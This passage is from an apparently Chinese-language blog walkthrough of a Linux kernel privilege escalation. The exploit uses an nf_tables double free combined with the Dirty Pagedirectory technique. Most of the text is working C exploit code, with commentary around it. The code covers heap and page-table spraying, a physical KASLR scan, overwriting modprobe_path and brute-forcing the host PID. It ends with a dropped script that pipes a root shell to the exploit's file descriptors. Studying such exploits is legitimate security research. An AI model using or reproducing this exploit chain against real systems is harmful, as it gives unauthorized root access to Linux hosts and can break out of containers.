// allocate PUD (and a PMD+PTE) for PMD
mmap((void*)PTI_TO_VIRT(1, 0, 0, 0, 0), 0x2000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_SHARED | MAP_ANONYMOUS, -1, 0);
*(unsigned long long*)PTI_TO_VIRT(1, 0, 0, 0, 0) = 0xDEADBEEF;
// 预先注册用于喷射的 PTE(页表项)区域,大小为 0x1000 * 2(即 8KB),
// 这样当(该页面)与 PMD 重叠时,里面正好能容纳/对应 2 个 PTE 条目。
// 这需要尽可能小,因为注册 VMA(虚拟内存区域)会消耗内存(内核 Slab 资源)。
for (unsigned long long i=0; i < CONFIG_PTE_SPRAY_AMOUNT; i++)
{
void *retv = mmap((void*)PTI_TO_VIRT(2, 0, i, 0, 0), 0x2000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_SHARED | MAP_ANONYMOUS, -1, 0);
if (retv == MAP_FAILED)
{
perror("mmap");
exit(EXIT_FAILURE);
}
}
// 提前申请PMD保证到时喷射的都是PTE
// PTE_SPRAY_AMOUNT / 512 = PMD_SPRAY_AMOUNT: PMD contains 512 PTE children
for (unsigned long long i=0; i < CONFIG_PTE_SPRAY_AMOUNT / 512; i++)
*(char*)PTI_TO_VIRT(2, i, 0, 0, 0) = 0x41;
// these use different PTEs but the same PMD
_pmd_area = mmap((void*)PTI_TO_VIRT(1, 1, 0, 0, 0), 0x400000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_SHARED | MAP_ANONYMOUS, -1, 0);
pmd_kernel_area = _pmd_area;
pmd_data_area = _pmd_area + 0x200000;
PRINTF_VERBOSE("[*] allocated VMAs for process:\n - pte_area: ?\n - _pmd_area: %p\n - modprobe_path: '%s' @ %p\n", _pmd_area, modprobe_path, modprobe_path);
populate_sockets(); // 初始化并建立网络连接
set_ipfrag_time(1);
// cause socket/networking-related objects to be allocated
df_ip_header.ip_id = 0x1336;
df_ip_header.ip_len = sizeof(struct ip)*2 + 32768 + 8 + 4000;
df_ip_header.ip_off = ntohs((8 >> 3) | 0x2000);
alloc_intermed_buf_hdr(32768 + 8, &df_ip_header);
set_ipfrag_time(9999);
printf("[*] waiting for the calm before the storm...\n");
sleep(CONFIG_SEC_BEFORE_STORM);
//省略...
}预先分配一些对象,以防止分配器噪声干扰,因为漏洞利用过程中可能存在一些敏感区域,如果后台噪声过大,则可能导致漏洞利用失败(这里我也不知道原理 :( )。
执行double free
为了在双重释放之前分配 skb(为了避免被检测到并提高稳定性,我们会在双重释放之间释放 skb)exploit会向其自身的 UDP 监听套接字发送 UDP 数据包。在 UDP 监听器调用 recv() 函数接收这些数据包之前,它们将作为独立的 skb 保留在内存中
void send_ipv4_udp(const char* buf, size_t buflen)
{
struct sockaddr_in dst_addr = {
.sin_family = AF_INET,
.sin_port = htons(45173),
.sin_addr.s_addr = inet_addr("127.0.0.1")
};
sendto_noconn(&dst_addr, buf, buflen, sendto_ipv4_udp_client_sockfd);
}第一次释放
为了触发double free,我们发送一个 IP 数据包,该数据包会触发我们之前设置的 nftables 规则。这里使用的协议是任意的,不包括 TCP 和 UDP,因为它们会被传递给 TCP/UDP 处理程序代码,从而导致数据损坏,进而引发内核崩溃。
注意 IP 报头偏移字段中的标志IP_MF(0x2000),我们用它来强制将 skb 放入 IP 分片队列,之后可以通过发送“完成”分片来随时释放 skb。分配一个 32768 字节的数据包,使它位于 4 阶。
static char intermed_buf[1 << 19]; // simply pre-allocate intermediate buffers
static int sendto_ipv4_ip_sockfd;
void send_ipv4_ip_hdr(const char* buf, size_t buflen, struct ip *ip_header)
{
size_t ip_buflen = sizeof(struct ip) + buflen;
struct sockaddr_in dst_addr = {
.sin_family = AF_INET,
.sin_addr.s_addr = inet_addr("127.0.0.2") // 127.0.0.1 will not be ipfrag_time'd. this can't be set to 1.1.1.1 since C runtime will prob catch it
};
memcpy(intermed_buf, ip_header, sizeof(*ip_header));
memcpy(&intermed_buf[sizeof(*ip_header)], buf, buflen);
// checksum needds to be 0 before
((struct ip*)intermed_buf)->ip_sum = 0;
((struct ip*)intermed_buf)->ip_sum = ip_finish_sum(ip_checksum(intermed_buf, ip_buflen, 0));
PRINTF_VERBOSE("[*] sending IP packet (%ld bytes)...\n", ip_buflen);
sendto_noconn(&dst_addr, intermed_buf, ip_buflen, sendto_ipv4_ip_sockfd);
}static char intermed_buf[1 << 19];
static void send_ipv4_ip_hdr_chr(size_t dfsize, struct ip *ip_header, char chr)
{
memset(intermed_buf, chr, dfsize);
send_ipv4_ip_hdr(intermed_buf, dfsize, ip_header);
}
static void trigger_double_free_hdr(size_t dfsize, struct ip *ip_header)
{
printf("[*] sending double free buffer packet...\n");
send_ipv4_ip_hdr_chr(dfsize, ip_header, '\x41');
}
static void privesc_flh_bypass_no_time(int shell_stdin_fd, int shell_stdout_fd)
{
// ... (skb spray)
// 触发 socket/networking 相关的objects的申请,预热slub分配器分割噪音
df_ip_header.ip_id = 0x1336;
df_ip_header.ip_len = sizeof(struct ip)*2 + 32768 + 8 + 4000;
df_ip_header.ip_off = ntohs((8 >> 3) | 0x2000); // 设置为0x2000表示这是一个IP分片
alloc_intermed_buf_hdr(32768 + 8, &df_ip_header);
set_ipfrag_time(9999);
printf("[*] waiting for the calm before the storm...\n");
sleep(CONFIG_SEC_BEFORE_STORM);
// 先喷射 UDP 用于两次free之间释放,以绕过检测
for (int i=0; i < CONFIG_SKB_SPRAY_AMOUNT; i++)
{
PRINTF_VERBOSE("[*] reserving udp packets... (%d/%d)\n", i, CONFIG_SKB_SPRAY_AMOUNT);
alloc_ipv4_udp(1);
}
// 从freelist申请并释放 1个 skb
df_ip_header.ip_id = 0x1337;
df_ip_header.ip_len = sizeof(struct ip)*2 + 32768 + 24;
df_ip_header.ip_off = ntohs((0 >> 3) | 0x2000); // wait for other fragments. 8 >> 3 to make it wait or so?
trigger_double_free_hdr(32768 + 8, &df_ip_header);
// ... (rest of the exploit)
}可以看到我们发送的数据包成功触发漏洞,其判定码被识别为丢弃并被释放掉(注意此时这个page会进入到buddy system 中order为4的链表),之后又被识别为NF_ACCEPT(1)进入正常处理流程


使用 skb 掩盖double free
接着为了防止double free被检测到并提高漏洞利用的稳定性,我们对之前分配的UDP数据包进行喷射释放
static char intermed_buf[1 << 19]; // simply pre-allocate intermediate buffers
static int sendto_ipv4_udp_server_sockfd;
void recv_ipv4_udp(int content_len)
{
PRINTF_VERBOSE("[*] doing udp recv...\n");
recv(sendto_ipv4_udp_server_sockfd, intermed_buf, content_len, 0);
PRINTF_VERBOSE("[*] udp packet preview: %02hhx\n", intermed_buf[0]);
}
//* recv_ipv4_udp() *接收 UDP 数据包的封装函数static void privesc_flh_bypass_no_time(int shell_stdin_fd, int shell_stdout_fd)
{
// ... (trigger doublefree)
// 将先前的UDP放回 freelist
for (int i=0; i < CONFIG_SKB_SPRAY_AMOUNT; i++)
{
PRINTF_VERBOSE("[*] freeing reserved udp packets to mask corrupted packet... (%d/%d)\n", i, CONFIG_SKB_SPRAY_AMOUNT);
recv_ipv4_udp(1);
}
// ... (rest of the exploit)
}
//exploit部分代码,用于释放先前分配的 sk_buff 对象喷射pte
为了喷射 PTE,我们只需访问之前注册的 VMA 中的虚拟内存页。一个 PTE 包含 512 页,因此包含512 字节。因此,我们总共0x20'0000访问 512字节。0x20'0000 CONFIG_PTE_SPRAY_AMOUNT
为了简化这个过程,我编写了一个宏,用于将页表索引转换为虚拟内存地址。例如,mm->pgd[pud_nr][pmd_nr][pte_nr][page_nr]相当于虚拟内存页PTI_TO_VIRT(pud_nr, pmd_nr, pte_nr, page_nr, 0)。例如,mm->pgd[1][0][0][0]指的是位于的虚拟内存页0x80'0000'0000。
#define _pte_index_to_virt(i) (i << 12)
#define _pmd_index_to_virt(i) (i << 21)
#define _pud_index_to_virt(i) (i << 30)
#define _pgd_index_to_virt(i) (i << 39)
#define PTI_TO_VIRT(pud_index, pmd_index, pte_index, page_index, byte_index) \
((void*)(_pgd_index_to_virt((unsigned long long)(pud_index)) + _pud_index_to_virt((unsigned long long)(pmd_index)) + \
_pmd_index_to_virt((unsigned long long)(pte_index)) + _pte_index_to_virt((unsigned long long)(page_index)) + (unsigned long long)(byte_index)))
static void privesc_flh_bypass_no_time(int shell_stdin_fd, int shell_stdout_fd)
{
// ... (spray-free skb's)
// 喷射PTE
printf("[*] spraying %d pte's...\n", CONFIG_PTE_SPRAY_AMOUNT);
for (unsigned long long i=0; i < CONFIG_PTE_SPRAY_AMOUNT; i++)
*(char*)PTI_TO_VIRT(2, 0, i, 0, 0) = 0x41;
// ... (rest of the exploit)
}触发double free
我们之前清空了 PCP 列表,并在第一次释放的page上分配了一堆 PTE。现在,我们将执行第二次free,使用其freelist来分配一个重叠的 PMD。
我们需要使用特定的 IP 报头选项组合来绕过 IPv4 分片队列代码中的某些检查。
这里需要注意的是,到此为止我们一共发了3个数据包这三个数据包的大小都必须互不相同,以此保证只有double free的那个数据包进入order 4的buddy system链表并最终被PMD分配到
static void privesc_flh_bypass_no_time(int shell_stdin_fd, int shell_stdout_fd)
{
// ... (spray-alloc PTEs)
PRINTF_VERBOSE("[*] double-freeing skb...\n");
// 对之前那个 skb 触发double free
df_ip_header.ip_id = 0x1337;
df_ip_header.ip_len = sizeof(struct ip)*2 + 32768 + 24;
df_ip_header.ip_off = ntohs(((32768 + 8) >> 3) | 0x2000);
// skb1->len 被 s->random() 在 set_freepointer()中覆盖了.
// 因此需要使用技巧来直接丢弃整个分片队列,从而避开对 skb1->len 的访问。
// 这会导致 ip_frag_queue() 函数中出现 end == offset 的情况。发送的这个数据包是空的
//程序会一直运行(阻塞),直到两次释放操作都完成为止,换句话说,此处不需要使用 sleep 进行等待。
alloc_intermed_buf_hdr(0, &df_ip_header);
// ... (rest of the exploit)
}
查找重叠的PTE
现在我们需要找出哪个已喷射的 PTE 是重叠的那个,只需检查哪个 PTE 区域中存在属于 PMD 区域的 PTE 条目即可。这本质上等同于检查该值是否为原始值,如果是,则表明页面已被覆盖
static void privesc_flh_bypass_no_time(int shell_stdin_fd, int shell_stdout_fd)
{
// ... (allocate the overlapping PMD page)
printf("[*] checking %d sprayed pte's for overlap...\n", CONFIG_PTE_SPRAY_AMOUNT);
// find overlapped PTE area
pte_area = NULL;
for (unsigned long long i=0; i < CONFIG_PTE_SPRAY_AMOUNT; i++)
{
unsigned long long *test_target_addr = PTI_TO_VIRT(2, 0, i, 0, 0);
// pte[0] 这个页表项应该是用于映射 &_pmd_area 的 PFN(页帧号)加上标志位
// 如果这就是那个被double free 的 PTE 页,那么它的值应该是 PFN+标志位,而不是 0x41
if (*test_target_addr != 0x41)
{
printf("[+] confirmed double alloc PMD/PTE\n");
PRINTF_VERBOSE(" - PTE area index: %lld\n", i);
PRINTF_VERBOSE(" - PTE area (write target address/page): %016llx (new)\n", *test_target_addr);
pte_area = test_target_addr;
}
}
if (pte_area == NULL)
{
printf("[-] failed to detect overwritten pte: is more PTE spray needed? pmd: %016llx\n", *(unsigned long long*)_pmd_area);
return;
}
// 设置一个新的 PTE 值来进行完整性检查
*pte_area = 0x0 | 0x8000000000000867;
// 刷新tlb
flush_tlb(_pmd_area, 0x400000);
PRINTF_VERBOSE(" - PMD area (read target value/page): %016llx (new)\n", *(unsigned long long*)_pmd_area);
// (rest of the exploit)
}扫描物理内存
在设置好 PTE+PMD 重叠之后,我们就可以发挥脏页目录的真正潜力:一种完全从用户空间发起的内核空间镜像攻击 (KSMA)。现在,我们可以将物理地址作为 PTE 条目写入 PTE 区域内的特定地址,然后将其作为 PMD 区域中的普通内存页“解引用”。
我们将获取物理内核基地址,然后使用该地址以读/写权限访问 modprobe_path 内核变量。

查找内核基地址
这里,我们应用前面提到的物理 KASLR 绕过方法来查找物理内核基址。假设设备拥有 8GiB 的物理内存,那么需要扫描的内存就从 8GiB 减少到 2MiB 的页面。幸运的是,我们只需要每页大约 40 字节的数据来判断它是否是内核基址,这意味着在最坏的情况下,我们需要读取 512 * 40 = 20,480 字节的数据才能找到内核基址。
当我们在 PTE 页面中设置 PTE 条目时pte_area[j] = (CONFIG_PHYSICAL_START * j) | 0x8000000000000867;,我们同时设置了 PFN(CONFIG_PHYSICAL_START * j可以视为物理地址)和相应的标志(0x8000000000000867例如该页面的权限,即读/写)。
由于double free:mm->pgd[0][1](PMD) == mm->pgd[0][2][0](PTE),因此mm->pgd[0][1][x](PTE) == mm->pgd[0][2][0][x](用户空间页),其中 x = 0 到 511。这意味着我们可以用 512 个用户空间页覆盖重叠 PMD 中的 512 个 PTE。这 512 个 PTE 又占用另外 512 个用户空间页,这意味着我们可以512 * 512 * 0x1000 = 0x4000'0000一次性设置 1GiB 的内存。
这里exploit其实只使用了PMD 中的 的第一个 PTE,因此每次最多连续扫描1 * 512 * 0x1000 = 0x200000个字节,即2MB
// range = (k * j) * CONFIG_PHYSICAL_ALIGN
// 扫描范围计算:每次迭代扫描 512 个页面(即 1 个 PTE 表能覆盖的范围,2MB)。
for (int k=0; k < (CONFIG_PHYS_MEM / (CONFIG_PHYSICAL_ALIGN * 512)); k++)
{
unsigned long long kernel_iteration_base;
kernel_iteration_base = k * (CONFIG_PHYSICAL_ALIGN * 512);
PRINTF_VERBOSE("[*] setting kernel physical address range to 0x%016llx - 0x%016llx\n", kernel_iteration_base, kernel_iteration_base + CONFIG_PHYSICAL_ALIGN * 512);
for (unsigned short j=0; j < 512; j++)
pte_area[j] = (kernel_iteration_base + CONFIG_PHYSICAL_ALIGN * j) | 0x8000000000000867;
flush_tlb(_pmd_area, 0x400000);
// 在每次迭代中,扫描 1 个页面的数据(而不是整个对齐块)来匹配内核基址特征。
for (unsigned long long j=0; j < 512; j++)
{
unsigned long long phys_kernel_base;
// 检查内核代码段在静态(磁盘上)和运行时(内存中)的 x64-gcc/clang 编译器特征码
// - 这个“内核基址”实际上是 start_64() 函数及其变体的汇编字节码
// - 这个特征码因架构和编译器而异(clang 生成的签名与 gcc 不同)
// - 这可以通过检查 vmlinux 文件(内核二进制)的第二个段来推导出来,该段通常始于二进制偏移量 0x200000 处
// - 例如:运行 xxd ./vmlinux | grep '00200000:' 来查看
phys_kernel_base = kernel_iteration_base + CONFIG_PHYSICAL_ALIGN * j;
PRINTF_VERBOSE("[*] phys kernel addr: %016llx, val: %016llx\n", phys_kernel_base, *(unsigned long long*)(pmd_kernel_area + j * 0x1000));
if (is_kernel_base(pmd_kernel_area + j * 0x1000) == 0)
continue;
printf("[+] found possible physical kernel base: %016llx\n", phys_kernel_base);
// ...省略
}
printf("[!] failed to find kernel code segment... CONFIG_STATIC_USERMODEHELPER disabled?\n");
return;
}查找 modprobe_path
找到了物理内核基地址之后,我们将扫描其后的内存来确定 modprobe_path,我们扫描包含CONFIG_MODPROBE_PATH( "/sbin/modprobe") 的地址,并'\x00'填充至KMOD_PATH_LEN(256) 字节。我们可以通过覆盖该地址并检查是否反映此更改来验证其正确性/proc/sys/kernel/modprobe,因为这是对该地址的直接引用modprobe_path。
如果可以启用静态用户模式辅助程序缓解措施,我们也可以绕过它。我们不再搜索,"/sbin/modprobe"而是直接搜索CONFIG_STATIC_USERMODEHELPER_PATH("/sbin/usermode-helper")。
然后,当找到目标后,我们会尝试覆盖它。如果失败,我们会继续扫描寻找下一个匹配的目标。
for (int i=0; i < 40; i++)
{
void *pmd_modprobe_addr;
unsigned long long phys_modprobe_addr;
unsigned long long modprobe_iteration_base;
modprobe_iteration_base = phys_kernel_base + i * 0x200000;
PRINTF_VERBOSE("[*] setting physical address range to 0x%016llx - 0x%016llx\n", modprobe_iteration_base, modprobe_iteration_base + 0x200000);
// 将其他线程 PUD 数据范围的页面映射到内核内存(以便 memmem 函数进行搜索)
for (unsigned short j=0; j < 512; j++)
pte_area[512 + j] = (modprobe_iteration_base + 0x1000 * j) | 0x8000000000000867;
flush_tlb(_pmd_area, 0x400000);
#if CONFIG_STATIC_USERMODEHELPER
pmd_modprobe_addr = memmem(pmd_data_area, 0x200000, CONFIG_STATIC_USERMODEHELPER_PATH, strlen(CONFIG_STATIC_USERMODEHELPER_PATH));
#else
pmd_modprobe_addr = memmem_modprobe_path(pmd_data_area, 0x200000, modprobe_path, KMOD_PATH_LEN);
#endif
if (pmd_modprobe_addr == NULL)
continue;
//省略...
}
printf("[!] verified modprobe_path address does not work... CONFIG_STATIC_USERMODEHELPER enabled?\n");
return;
}覆盖 modprobe_path
最后,成功将内核中bss字段的地址(modprobe_path)与用户的地址映射到了同一块物理页,获得了 modprobe_path 的读写权限。还剩最后一个挑战:获取漏洞利用程序的“真实”进程 ID (PID),以便执行/proc/<pid>/fd(包含提权脚本的文件描述符)。下一节将检查是否成功。
即使我们使用磁盘上的文件,漏洞利用程序也需要知道进程 ID (PID),因为我们需要/proc/<pid>/cwd在 宿主机的命名空间中使用它。当然,实际上有一些方法可以绕过这一点——例如使用内核警告信息中显示的 PID

如下面的代码块所示,我们用 覆盖 modprobe_path 或静态用户模式辅助字符串"/proc/<pid>/fd/<script_fd>"权限提升脚本(包含在此代码块中)使用 猜测的 PID 来进行 shell 操作,并检查猜测是否正确。
for (int k=0; k < (CONFIG_PHYS_MEM / (CONFIG_PHYSICAL_ALIGN * 512)); k++)
{
unsigned long long kernel_iteration_base;
kernel_iteration_base = k * (CONFIG_PHYSICAL_ALIGN * 512);
PRINTF_VERBOSE("[*] setting kernel physical address range to 0x%016llx - 0x%016llx\n", kernel_iteration_base, kernel_iteration_base + CONFIG_PHYSICAL_ALIGN * 512);
for (unsigned short j=0; j < 512; j++)
pte_area[j] = (kernel_iteration_base + CONFIG_PHYSICAL_ALIGN * j) | 0x8000000000000867;
flush_tlb(_pmd_area, 0x400000);
// 在每次迭代中,扫描 1 个页面的数据(而不是整个对齐块)来匹配内核基址特征。
for (unsigned long long j=0; j < 512; j++)
{
unsigned long long phys_kernel_base;
// 省略...
// 从内核基址开始扫描 40 * 2MB = 80MB 的范围来寻找 modprobe_path。如果没找到,就放弃当前基址,继续搜寻下一个可能的内核基址
for (int i=0; i < 40; i++)
{
void *pmd_modprobe_addr;
unsigned long long phys_modprobe_addr;
unsigned long long modprobe_iteration_base;
// 省略...
#if CONFIG_LEET
breached_the_mainframe();
#endif
phys_modprobe_addr = modprobe_iteration_base + (pmd_modprobe_addr - pmd_data_area);
printf("[+] verified modprobe_path/usermodehelper_path: %016llx ('%s')...\n", phys_modprobe_addr, (char*)pmd_modprobe_addr);
PRINTF_VERBOSE("[*] modprobe_script_fd: %d, status_fd: %d\n", modprobe_script_fd, status_fd);
printf("[*] overwriting path with PIDs in range 0->4194304...\n");
for (pid_t pid_guess=0; pid_guess < 4194304; pid_guess++)
{
int status_cnt;
char buf;
// 将内核变量 `modprobe_path` 覆盖为 "/proc/<pid>/fd/<script_fd>"
// - 使用 /proc/<pid>/* 的方式,因为容器内的路径可能不同,或者无法被外部访问等
// - 这里必须填入根命名空间(宿主机)的 PID,而在其他命名空间内部是无法直接获取到这个根 PID 的
MEMCPY_HOST_FD_PATH(pmd_modprobe_addr, pid_guess, modprobe_script_fd);
if (pid_guess % 50 == 0)
{
PRINTF_VERBOSE("[+] overwriting modprobe_path with different PIDs (%u-%u)...\n", pid_guess, pid_guess + 50);
PRINTF_VERBOSE(" - i.e. '%s' @ %p...\n", (char*)pmd_modprobe_addr, pmd_modprobe_addr);
PRINTF_VERBOSE(" - matching modprobe_path scan var: '%s' @ %p)...\n", modprobe_path, modprobe_path);
}
lseek(modprobe_script_fd, 0, SEEK_SET); // overwrite previous entry
dprintf(modprobe_script_fd, "#!/bin/sh\necho -n 1 1>/proc/%u/fd/%u\n/bin/sh 0</proc/%u/fd/%u 1>/proc/%u/fd/%u 2>&1\n", pid_guess, status_fd, pid_guess, shell_stdin_fd, pid_guess, shell_stdout_fd);
// 省略...
}
printf("[!] verified modprobe_path address does not work... CONFIG_STATIC_USERMODEHELPER enabled?\n");
return;
}
printf("[-] failed to find correct modprobe_path: trying to find new kernel base...\n");
}
}获取root shell
为了获取 root shell,我们使用 run 命令运行无效文件modprobe_trigger_memfd(),利用了被覆盖的 modprobe_path 属性。新的 modprobe_path 指向/proc/<pid>/fd/<fd>下面的脚本。该脚本会将1写入新分配的状态文件描述符,使exploit检测到已成功获取 root shell 并停止执行。然后,它会向控制台提供 shell 访问权限。
为了通用地获取 root shell(无需考虑命名空间,且无需文件),我“劫持”了漏洞利用程序中的 stdin 和 stdout 文件描述符,并将它们转发到 root shell。这在本地机器和反向 shell 中都有效。特别是在没有文件重定向功能的情况下,脚本运行如下:
#!/bin/sh
echo -n 1 > /proc/<exploit_pid>/fd/<status_fd>
/bin/sh 0</proc/<exploit_pid>/fd/0 1>/proc/<exploit_pid>/fd/1 2>&static void modprobe_trigger_memfd()
{
int fd;
char *argv_envp = NULL;
fd = memfd_create("", MFD_CLOEXEC);
write(fd, "\xff\xff\xff\xff", 4);
fexecve(fd, &argv_envp, &argv_envp);
close(fd);
}for (int k=0; k < (CONFIG_PHYS_MEM / (CONFIG_PHYSICAL_ALIGN * 512)); k++)
{
// 省略...
// 在每次迭代中,扫描 1 个页面的数据(而不是整个对齐块)来匹配内核基址特征。
for (unsigned long long j=0; j < 512; j++)
{
// 省略...
for (int i=0; i < 40; i++)
{
// 省略...
for (pid_t pid_guess=0; pid_guess < 4194304; pid_guess++)
{
int status_cnt;
char buf;
// 省略...
// 以 root 身份运行自定义的 modprobe 文件。触发方式是尝试执行一个格式未知的文件
// 如果猜测的 PID 不正确,什么都不会发生(因为 /proc/错误的PID/fd/... 不存在)
modprobe_trigger_memfd();
// 状态回显(读取 status_fd)表明猜对了 PID(并且获得了 root shell)。停止后续的暴力破解
status_cnt = read(status_fd, &buf, 1);
if (status_cnt == 0)
continue;
printf("[+] successfully breached the mainframe as real-PID %u\n", pid_guess);
return;
}
printf("[!] verified modprobe_path address does not work... CONFIG_STATIC_USERMODEHELPER enabled?\n");
return;
}
printf("[-] failed to find correct modprobe_path: trying to find new kernel base...\n");
}
}
最终也是成功拿到root shell
剖析nftables中nf_tables模块verdict处理缺陷导致的double free,结合Dirty PD实现内核任意读写与root提权。
由 AI 根据全文自动生成,仅供参考,以原文为准